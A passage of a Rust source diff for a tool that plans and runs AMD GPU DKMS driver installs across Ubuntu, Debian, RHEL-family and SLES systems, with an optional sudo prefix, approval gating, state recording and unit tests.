Ubuntu base. + // Derivatives with their own version scheme (e.g. Linux Mint's "22") do not + // match here and remain unsupported rather than guessing a codename. + if mentions("ubuntu") && matches!(version_id, "22.04" | "24.04") { + let codename = if codename.is_empty() { + codename_for_version("ubuntu", version_id) + .unwrap_or_default() + .to_owned() + } else { + codename.to_owned() + }; + return Some(apt_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + codename, + repo_version.to_owned(), + dkms, + true, + escalation, + )); + } + + // Debian-family derivatives that share Debian's version scheme map to the + // matching Ubuntu repo codename, exactly like the Debian base. + if mentions("debian") && matches!(version_id, "12" | "13") { + let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; + return Some(apt_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + repo_codename.to_owned(), + repo_version.to_owned(), + dkms, + false, + escalation, + )); + } + + // Enterprise-Linux rebuilds (e.g. AlmaLinux) reuse RHEL's version scheme and + // standard (RHCK, non-UEK) kernels, but are served from the vendor-neutral + // `el/` repository path rather than `rhel/`. Gate strictly on `ID_LIKE` + // naming `rhel`: Oracle Linux advertises only `ID_LIKE=fedora` and boots the + // UEK kernel, so it must keep its dedicated `("ol", ...)` flow and never be + // captured here with RHCK kernel commands that would fail to install. Guard + // the `ol`/`oracle` IDs explicitly as well, in case a future OL release adds + // `rhel` to `ID_LIKE`. + if mentions("rhel") && !matches!(os_id, "ol" | "oracle") && is_supported_el_version(version_id) + { + return Some(dnf_driver_plan( + os_id.to_owned(), + version_id.to_owned(), + codename.to_owned(), + repo_version.to_owned(), + package_release.to_owned(), + dkms, + DnfDriverDistro::Generic, + escalation, + )); + } + + // No SUSE-family fallback: SLES is matched exactly, and community rebuilds + // such as openSUSE Leap share the SLES version scheme but lack SUSEConnect + // entitlements, so the SLES plan's `SUSEConnect` commands would fail. They + // intentionally remain unsupported rather than producing a broken plan. + + None +} + +/// The set of Enterprise-Linux versions AMD documents for the driver install, +/// used to gate `ID_LIKE`-based matching of RHEL rebuilds. +fn is_supported_el_version(version_id: &str) -> bool { + matches!(version_id, "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") +} + +#[derive(Debug, Clone, Copy)] +enum DnfDriverDistro { + Rhel, + Oracle, + Rocky, + /// A RHEL rebuild matched via `ID_LIKE` (e.g. AlmaLinux, CentOS Stream): + /// standard RHEL kernels, served from the vendor-neutral `el/` repo path. + Generic, +} + +fn apt_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version: String, + dkms: bool, + include_linux_modules_extra: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get update"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get install -y ca-certificates curl gnupg"), + ), + ]); + let header_command = if include_linux_modules_extra { + format!( + "{sudo}apt-get install -y \"linux-headers-$(uname -r)\" \"linux-modules-extra-$(uname -r)\"" + ) + } else { + format!("{sudo}apt-get install -y \"linux-headers-$(uname -r)\"") + }; + commands.push(driver_command(DriverCommandPhase::Prepare, &header_command)); + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}install -m 0755 -d /etc/apt/keyrings"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "curl -fsSL https://repo.radeon.com/rocm/rocm.gpg.key | {sudo}gpg --dearmor -o /etc/apt/keyrings/rocm.gpg" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' 'deb [arch=amd64 signed-by=/etc/apt/keyrings/rocm.gpg] https://repo.radeon.com/graphics/{repo_version}/ubuntu {codename} main' | {sudo}tee /etc/apt/sources.list.d/amdgpu.list >/dev/null" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "printf '%s\\n' 'Package: *' 'Pin: release o=repo.radeon.com' 'Pin-Priority: 600' | {sudo}tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null" + ), + ), + driver_command(DriverCommandPhase::Prepare, &format!("{sudo}apt-get update")), + ]); + commands.push(driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}apt-get install -y amdgpu-dkms"), + )); + commands.extend([ + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version, + reason: if dkms { + "Plan uses AMD's package-manager DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`apt-get` package manager is available".to_owned()); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +// Same shape as the other distro plan builders: a flat list of resolved facts +// the command templates read, one of which is now the escalation prefix. +#[allow(clippy::too_many_arguments)] +fn dnf_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version: String, + package_release: String, + dkms: bool, + distro: DnfDriverDistro, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + match distro { + DnfDriverDistro::Rhel | DnfDriverDistro::Generic => { + commands.extend( + rhel_kernel_prepare_commands(&version_id, escalation) + .into_iter() + .map(|command| driver_command(DriverCommandPhase::Prepare, &command)), + ); + } + DnfDriverDistro::Oracle => { + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}dnf install -y \"kernel-uek-devel-$(uname -r)\""), + )); + } + DnfDriverDistro::Rocky => { + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}dnf install -y kernel-headers kernel-devel kernel-devel-matched" + ), + )); + } + } + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}dnf install -y {}", + amdgpu_install_rpm_url(&repo_version, &package_release, &version_id, distro) + ), + )); + commands.push(driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}dnf clean all"), + )); + commands.push(driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}dnf install -y amdgpu-dkms"), + )); + commands.extend([ + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version, + reason: if dkms { + "Plan uses AMD's documented DNF DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`dnf` package manager is available".to_owned()); + checks.push( + "enterprise Linux repositories are registered and current before approval" + .to_owned(), + ); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +fn sles_driver_plan( + os_id: String, + version_id: String, + codename: String, + repo_version: String, + package_release: String, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Empty when already root, so no command depends on a `sudo` binary that a + // container or minimal image very likely does not have. + let sudo = escalation.prefix(); + let mut commands = Vec::new(); + if dkms { + commands.extend([ + driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}SUSEConnect -p sle-module-desktop-applications/{version_id}/x86_64" + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}SUSEConnect -p sle-module-development-tools/{version_id}/x86_64"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}SUSEConnect -p PackageHub/{version_id}/x86_64"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper refresh"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper install -y kernel-default-devel"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!( + "{sudo}zypper --no-gpg-checks install -y {}", + amdgpu_install_sles_rpm_url(&repo_version, &package_release, &version_id) + ), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}zypper refresh"), + ), + driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}zypper install -y amdgpu-dkms"), + ), + driver_command(DriverCommandPhase::Verify, "dkms status amdgpu"), + driver_command(DriverCommandPhase::Verify, "test -e /dev/kfd"), + driver_command( + DriverCommandPhase::Verify, + "ls /dev/dri/renderD* >/dev/null", + ), + ]); + } + + DriverInstallPlan { + supported: true, + mutating: dkms, + policy: "linux_official_amd_dkms_wrapper".to_owned(), + os_id, + version_id, + codename, + repo_version, + reason: if dkms { + "Plan uses AMD's documented SLES DKMS flow and requires explicit approval before execution." + } else { + "DKMS was not requested; this is a non-mutating preflight plan." + } + .to_owned(), + preflight_checks: if dkms { + let mut checks = driver_root_preflight_checks(escalation); + checks.push("`zypper` package manager is available".to_owned()); + checks.push( + "`SUSEConnect` is available and the host is registered before approval".to_owned(), + ); + checks + } else { + Vec::new() + }, + commands, + checks: vec![ + "dkms status amdgpu".to_owned(), + "/sys/module/amdgpu".to_owned(), + "/dev/kfd".to_owned(), + "/dev/dri/renderD*".to_owned(), + "amd-smi version if present".to_owned(), + "rocminfo if present".to_owned(), + ], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + } +} + +fn rhel_kernel_prepare_commands(version_id: &str, escalation: PrivilegeEscalation) -> Vec { + let sudo = escalation.prefix(); + if version_id.starts_with("8.") { + vec![ + format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), + ] + } else { + vec![ + format!("{sudo}dnf install -y \"kernel-headers-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-$(uname -r)\""), + format!("{sudo}dnf install -y \"kernel-devel-matched-$(uname -r)\""), + ] + } +} + +fn amdgpu_install_rpm_url( + repo_version: &str, + package_release: &str, + version_id: &str, + distro: DnfDriverDistro, +) -> String { + let repo_family = match distro { + DnfDriverDistro::Rhel => "rhel", + DnfDriverDistro::Oracle | DnfDriverDistro::Rocky | DnfDriverDistro::Generic => "el", + }; + let repo_version_path = dnf_repo_version_path(version_id); + let el_major = linux_major_version(version_id); + format!( + "https://repo.radeon.com/amdgpu-install/{repo_version}/{repo_family}/{repo_version_path}/amdgpu-install-{repo_version}.{package_release}-1.el{el_major}.noarch.rpm" + ) +} + +fn amdgpu_install_sles_rpm_url( + repo_version: &str, + package_release: &str, + version_id: &str, +) -> String { + format!( + "https://repo.radeon.com/amdgpu-install/{repo_version}/sle/{version_id}/amdgpu-install-{repo_version}.{package_release}-1.noarch.rpm" + ) +} + +fn dnf_repo_version_path(version_id: &str) -> String { + // AMD serves EL 8 and 10 from a major-version path (el8/, el10/, rhel/10/), + // but EL 9 from the point-release path (el/9.7/, rhel/9.6/). Keying on the + // major version keeps this correct for RHEL, Oracle Linux, and ID_LIKE-matched + // rebuilds alike, without depending on the specific distro `ID`. + let major = linux_major_version(version_id); + match major { + "8" | "10" => major.to_owned(), + _ => version_id.to_owned(), + } +} + +fn linux_major_version(version_id: &str) -> &str { + version_id.split('.').next().unwrap_or(version_id) +} + +/// Preconditions about reaching root for a driver plan. +/// +/// These differ by escalation: a plan that will prefix `sudo` additionally +/// depends on a `sudo` binary being installed, while a plan built as root does +/// not. Listing that precondition when already root would state a requirement +/// the plan is not relying on — which is exactly the contradiction that made +/// the unconditional prefix confusing to debug. +fn driver_root_preflight_checks(escalation: PrivilegeEscalation) -> Vec { + let mut checks = + vec!["root access: run as root, or ensure `sudo -v` succeeds before approval".to_owned()]; + if escalation.needs_sudo_binary() { + checks.push("`sudo` command is available when not running as root".to_owned()); + } + checks +} + +fn driver_command(phase: DriverCommandPhase, command: &str) -> DriverPlanCommand { + DriverPlanCommand { + phase, + command: command.to_owned(), + } +} + +/// Resolve a `${VAR:-default}` shell parameter-expansion template to its +/// effective value: the value of `VAR` when it is set and non-empty (matching +/// the shell `:-` semantics), otherwise the literal default. This is resolved +/// once at plan-build time so the concrete value is baked into both the +/// human-readable summary and the commands the plan runs, rather than leaking an +/// unexpanded `${...}` placeholder into user-facing output or depending on the +/// runtime shell — which, for the single-quoted apt `sources.list` line, would +/// never expand it at all. +/// +/// Only a single, flat `${VAR:-default}` template is recognized. Anything else — +/// a bare `${VAR}`, a `${VAR:=x}`/`${VAR-x}` form, or a nested default such as +/// `${A:-${B:-x}}` whose default itself contains `${` — is returned unchanged, so +/// an unresolvable shape degrades to its literal input rather than to a +/// half-resolved string. +fn resolve_shell_default_template(expr: &str) -> String { + let Some(inner) = expr.strip_prefix("${").and_then(|s| s.strip_suffix('}')) else { + return expr.to_owned(); + }; + let Some((var, default)) = inner.split_once(":-") else { + return expr.to_owned(); + }; + if default.contains("${") { + // Nested or embedded templates are beyond this flat matcher; return the + // input untouched rather than emitting a partially resolved string. + return expr.to_owned(); + } + std::env::var(var) + .ok() + .filter(|value| !value.is_empty()) + .unwrap_or_else(|| default.to_owned()) +} + +fn render_driver_install_plan(plan: &DriverInstallPlan, yes: bool, dry_run: bool) -> String { + let mut output = String::new(); + let _ = writeln!(output, "driver install plan"); + let _ = writeln!(output, " policy: {}", plan.policy); + let _ = writeln!(output, " supported: {}", plan.supported); + let _ = writeln!(output, " mutating: {}", plan.mutating); + let _ = writeln!( + output, + " approval: {}", + driver_plan_approval_label(plan, yes, dry_run) + ); + let _ = writeln!(output, " dry_run: {dry_run}"); + let _ = writeln!(output, " os_id: {}", empty_as_unknown(&plan.os_id)); + let _ = writeln!( + output, + " version_id: {}", + empty_as_unknown(&plan.version_id) + ); + let _ = writeln!(output, " codename: {}", empty_as_unknown(&plan.codename)); + let _ = writeln!(output, " repo_version: {}", plan.repo_version); + let _ = writeln!(output, " reason: {}", plan.reason); + if !plan.preflight_checks.is_empty() { + let _ = writeln!(output, " preflight_checks:"); + for check in &plan.preflight_checks { + let _ = writeln!(output, " {check}"); + } + } + let execution_commands = plan + .commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .collect::>(); + if execution_commands.is_empty() { + let _ = writeln!(output, " execution_commands: "); + } else { + let _ = writeln!(output, " execution_commands:"); + for command in execution_commands { + let _ = writeln!(output, " {:?}: {}", command.phase, command.command); + } + } + let verification_commands = plan + .commands + .iter() + .filter(|command| command.phase == DriverCommandPhase::Verify) + .collect::>(); + // A plan that changes nothing kernel-side is live as soon as it finishes, so + // labelling its checks "post_reboot" would tell the user to reboot for + // nothing — and would contradict the `reboot_required: false` this same plan + // reports after executing. + let checks_label = if plan.reboot_required { + "post_reboot" + } else { + "post_install" + }; + if !verification_commands.is_empty() { + let _ = writeln!(output, " {checks_label}_check_commands:"); + for command in verification_commands { + let _ = writeln!(output, " {}", command.command); + } + } + if !plan.checks.is_empty() { + let _ = writeln!(output, " {checks_label}_checks:"); + for check in &plan.checks { + let _ = writeln!(output, " {check}"); + } + } + if plan.supported && plan.mutating && !yes && !dry_run { + let _ = writeln!( + output, + " action: rerun with --yes after reviewing this plan, or approve from the TUI" + ); + } else if plan.supported && plan.mutating && dry_run { + let _ = writeln!( + output, + " action: dry run only; no driver commands executed" + ); + } else if plan.supported && !plan.mutating { + let _ = writeln!( + output, + " action: no driver commands will be executed; add --dkms to plan a native DKMS driver install" + ); + } else if !plan.supported { + let _ = writeln!(output, " action: no driver commands will be executed"); + } + output +} + +const fn driver_plan_approval_label( + plan: &DriverInstallPlan, + yes: bool, + dry_run: bool, +) -> &'static str { + if !plan.supported || !plan.mutating || dry_run { + "not required" + } else if yes { + "approved" + } else { + "required" + } +} + +pub(crate) const fn empty_as_unknown(value: &str) -> &str { + if value.is_empty() { "" } else { value } +} + +pub(crate) fn parse_os_release_field(text: &str, key: &str) -> Option { + for line in text.lines() { + let Some((name, raw_value)) = line.split_once('=') else { + continue; + }; + if name != key { + continue; + } + return Some(raw_value.trim().trim_matches('"').to_owned()); + } + None +} + +fn codename_for_version(os_id: &str, version_id: &str) -> Option<&'static str> { + match (os_id, version_id) { + ("ubuntu", "22.04") => Some("jammy"), + ("ubuntu", "24.04") => Some("noble"), + ("debian", "12") => Some("jammy"), + ("debian", "13") => Some("noble"), + _ => None, + } +} + +pub(crate) fn read_os_release() -> Result { + fs::read_to_string("/etc/os-release").context("failed to read /etc/os-release") +} + +fn run_driver_shell_command(command: &str) -> Result<()> { + run_shell_command_with_stdin(command, Stdio::null()) +} + +/// Run a hardcoded shell command, wiring its stdin to `stdin`. +/// +/// Most install commands run with a null stdin, but privileged commands that may +/// trigger an interactive `sudo` password prompt (such as the OpenMPI install +/// approved with `--yes`) must inherit the terminal so the user can respond. +fn run_shell_command_with_stdin(command: &str, stdin: Stdio) -> Result<()> { + let (program, args) = shell_command_for_host(command); + let status = ProcessCommand::new(program) + .args(args) + .stdin(stdin) + .status() + .with_context(|| format!("failed to launch `{command}`"))?; + if !status.success() { + bail!("`{command}` exited with {status}"); + } + Ok(()) +} + +/// Run a command given as an argv vector directly, without going through a shell. +/// +/// Used for [`run_system_package_install_plan`], whose commands are modeled as +/// argv vectors so no shell quoting or `sudo`-prefix string handling is needed. +pub(crate) fn run_argv_with_stdin(argv: &[String], stdin: Stdio) -> Result<()> { + let (program, args) = argv + .split_first() + .context("install command has no program to run")?; + let status = ProcessCommand::new(program) + .args(args) + .stdin(stdin) + .status() + .with_context(|| format!("failed to launch `{}`", argv.join(" ")))?; + if !status.success() { + bail!("`{}` exited with {status}", argv.join(" ")); + } + Ok(()) +} + +fn driver_install_state_path(paths: &AppPaths) -> PathBuf { + paths.data_dir.join("driver").join("state.json") +} + +fn write_driver_install_state(paths: &AppPaths, state: &DriverInstallState) -> Result<()> { + let path = driver_install_state_path(paths); + let parent = path.parent().context("driver state path has no parent")?; + fs::create_dir_all(parent)?; + fs::write(&path, serde_json::to_vec_pretty(state)?)?; + Ok(()) +} + +fn read_driver_install_state(paths: &AppPaths) -> Result> { + let path = driver_install_state_path(paths); + if !path.is_file() { + return Ok(None); + } + let bytes = fs::read(&path).with_context(|| format!("failed to read {}", path.display()))?; + let state = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", path.display()))?; + Ok(Some(state)) +} + +fn current_boot_id() -> Option { + fs::read_to_string("/proc/sys/kernel/random/boot_id") + .ok() + .map(|value| value.trim().to_owned()) + .filter(|value| !value.is_empty()) +} + +fn driver_reboot_observed(executed_boot_id: Option<&str>) -> bool { + let Some(executed_boot_id) = executed_boot_id else { + return false; + }; + current_boot_id() + .as_deref() + .is_some_and(|current| current != executed_boot_id) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::tests::{ScopedTestEnv, dkms_planning_os_releases, test_examine, test_paths}; + + fn plan_commands(os_release: &str, escalation: PrivilegeEscalation) -> Vec { + build_driver_install_plan(&test_examine("linux", false), os_release, true, escalation) + .commands + .into_iter() + .map(|command| command.command) + .collect() + } + + #[test] + fn driver_plan_as_root_never_emits_sudo() { + // The defect: every command was prefixed `sudo` unconditionally, so on a + // root host without the binary the first one died with `sudo: not found` + // before any driver work. This asserts the ABSENCE of `sudo` across every + // distro rather than checking known commands one by one — a templating + // site missed on some distro fails here instead of shipping. + for (label, os_release) in dkms_planning_os_releases() { + let commands = plan_commands(os_release, PrivilegeEscalation::AlreadyRoot); + assert!( + !commands.is_empty(), + "{label}: expected a dkms plan to emit commands" + ); + for command in &commands { + assert!( + !command.contains("sudo"), + "{label}: a plan built as root must not invoke sudo, got `{command}`" + ); + } + } + } + + #[test] + fn driver_plan_off_root_still_escalates_every_privileged_command() { + // The other half of the contract: dropping `sudo` when root must not drop + // it when a normal user runs the same plan. Verify-phase commands are + // read-only probes and are deliberately unprivileged, so only the + // mutating phases are required to escalate. + for (label, os_release) in dkms_planning_os_releases() { + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let privileged: Vec<&DriverPlanCommand> = plan + .commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .collect(); + assert!(!privileged.is_empty(), "{label}: expected privileged steps"); + for command in privileged { + assert!( + command.command.contains("sudo "), + "{label}: a plan built off root must escalate, got `{}`", + command.command + ); + } + } + } + + #[test] + fn driver_plan_as_root_keeps_shell_pipelines_intact() { + // `sudo` also appears mid-pipeline (`| sudo tee`, `| sudo gpg`), which a + // naive "strip a leading prefix" fix would miss. The pipeline must survive + // with the escalation removed from the right-hand side only. + let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let commands = plan_commands(ubuntu, PrivilegeEscalation::AlreadyRoot); + assert!( + commands + .iter() + .any(|command| command.contains("| tee /etc/apt/sources.list.d/amdgpu.list")), + "the apt-source pipeline must still tee, unprefixed: {commands:?}" + ); + assert!( + commands + .iter() + .any(|command| command.contains("| gpg --dearmor -o /etc/apt/keyrings/rocm.gpg")), + "the keyring pipeline must still call gpg, unprefixed: {commands:?}" + ); + } + + #[test] + fn driver_plan_records_the_commands_it_will_actually_run() { + // `execution_commands()` is what lands in state.json. It must agree with + // the escalation the plan was built under, or the recorded history + // describes commands that never ran. + let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let as_root = build_driver_install_plan( + &test_examine("linux", false), + ubuntu, + true, + PrivilegeEscalation::AlreadyRoot, + ); + assert!( + as_root + .execution_commands() + .iter() + .all(|command| !command.contains("sudo")), + "state.json must not record sudo commands for a root run" + ); + let off_root = build_driver_install_plan( + &test_examine("linux", false), + ubuntu, + true, + PrivilegeEscalation::Sudo, + ); + assert!( + off_root + .execution_commands() + .iter() + .all(|command| command.contains("sudo ")), + "state.json must record the sudo commands a non-root run performs" + ); + } + + #[test] + fn driver_plan_as_root_drops_the_sudo_binary_precondition() { + // The preflight claimed `sudo` must be installed even when the plan no + // longer uses it — the same contradiction the bug report called out + // between the stated preconditions and what execution actually did. + for (label, os_release) in dkms_planning_os_releases() { + let as_root = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::AlreadyRoot, + ); + assert!( + !as_root + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{label}: a root plan must not require a sudo binary: {:?}", + as_root.preflight_checks + ); + let off_root = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + assert!( + off_root + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{label}: a non-root plan still depends on a sudo binary" + ); + } + } + + #[test] + fn driver_plan_ubuntu_2404_uses_official_dkms_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let commands = plan + .commands + .iter() + .map(|command| command.command.as_str()) + .collect::>(); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert!( + plan.preflight_checks + .iter() + .any(|check| check.contains("sudo -v")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("linux-headers-$(uname -r)")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("linux-modules-extra-$(uname -r)")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("repo.radeon.com/graphics")) + ); + assert!( + commands + .iter() + .any(|command| command.contains("amdgpu-dkms")) + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(rendered.contains("approval: required")); + assert!(rendered.contains("preflight_checks:")); + assert!(rendered.contains("root access: run as root, or ensure `sudo -v` succeeds")); + assert!(rendered.contains("execution_commands:")); + assert!(rendered.contains("Prepare: sudo apt-get update")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + assert!(rendered.contains("post_reboot_check_commands:")); + assert!(rendered.contains("dkms status amdgpu")); + assert!(rendered.contains("rerun with --yes")); + } + + #[test] + fn driver_plan_executor_runs_verify_after_execute() -> Result<()> { + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let mut observed = Vec::new(); + + execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + Ok(()) + }, + |_| Ok(()), + || Ok(test_examine("linux", true).driver), + )?; + + assert_eq!(observed, ["prepare", "execute", "verify"]); + assert!(state.executed_at_unix_ms.is_some()); + Ok(()) + } + + #[test] + fn driver_plan_executor_defers_verify_when_reboot_is_required() -> Result<()> { + let plan = build_driver_install_plan( + &test_examine("linux", false), + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + true, + PrivilegeEscalation::Sudo, + ); + assert!(plan.reboot_required); + let expected = plan.execution_commands(); + let verify_commands = plan + .commands + .iter() + .filter(|command| command.phase == DriverCommandPhase::Verify) + .map(|command| command.command.clone()) + .collect::>(); + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", false).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let mut observed = Vec::new(); + + execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + Ok(()) + }, + |_| Ok(()), + || Ok(test_examine("linux", false).driver), + )?; + + assert_eq!(observed, expected); + assert!( + verify_commands + .iter() + .all(|command| !observed.contains(command)), + "reboot-gated Verify commands must be deferred: {verify_commands:?}" + ); + assert!(state.executed_at_unix_ms.is_some()); + assert!(state.reboot_required); + Ok(()) + } + + #[test] + fn failed_driver_verify_does_not_mark_execution_completed() -> Result<()> { + let (root, paths) = test_paths("driver-verify-failure-state"); + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + write_driver_install_state(&paths, &state)?; + let mut observed = Vec::new(); + let mut gathered = false; + + let error = execute_driver_install_plan( + &plan, + &mut state, + |command| { + observed.push(command.to_owned()); + if command == "verify" { + bail!("verification rejected the install"); + } + Ok(()) + }, + |state| write_driver_install_state(&paths, state), + || { + gathered = true; + Ok(test_examine("linux", true).driver) + }, + ) + .expect_err("failed verification must fail the install"); + let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); + + assert_eq!(observed, ["prepare", "execute", "verify"]); + assert!(error.to_string().contains("driver command failed: verify")); + assert!( + !gathered, + "post-install state must not be gathered after failure" + ); + assert_eq!(state.executed_at_unix_ms, None); + assert!(state.post_driver.is_none()); + assert_eq!(saved.executed_at_unix_ms, None); + assert!(saved.post_driver.is_none()); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn failed_post_driver_gather_keeps_executed_state_persisted() -> Result<()> { + let (root, paths) = test_paths("driver-gather-failure-state"); + let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + plan.commands = vec![ + driver_command(DriverCommandPhase::Prepare, "prepare"), + driver_command(DriverCommandPhase::Execute, "execute"), + driver_command(DriverCommandPhase::Verify, "verify"), + ]; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", true).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + write_driver_install_state(&paths, &state)?; + + let error = execute_driver_install_plan( + &plan, + &mut state, + |_| Ok(()), + |state| write_driver_install_state(&paths, state), + || bail!("post-driver gather failed"), + ) + .expect_err("a post-driver gather failure must still fail the install"); + let saved = read_driver_install_state(&paths)?.expect("state should remain readable"); + + assert!(error.to_string().contains("post-driver 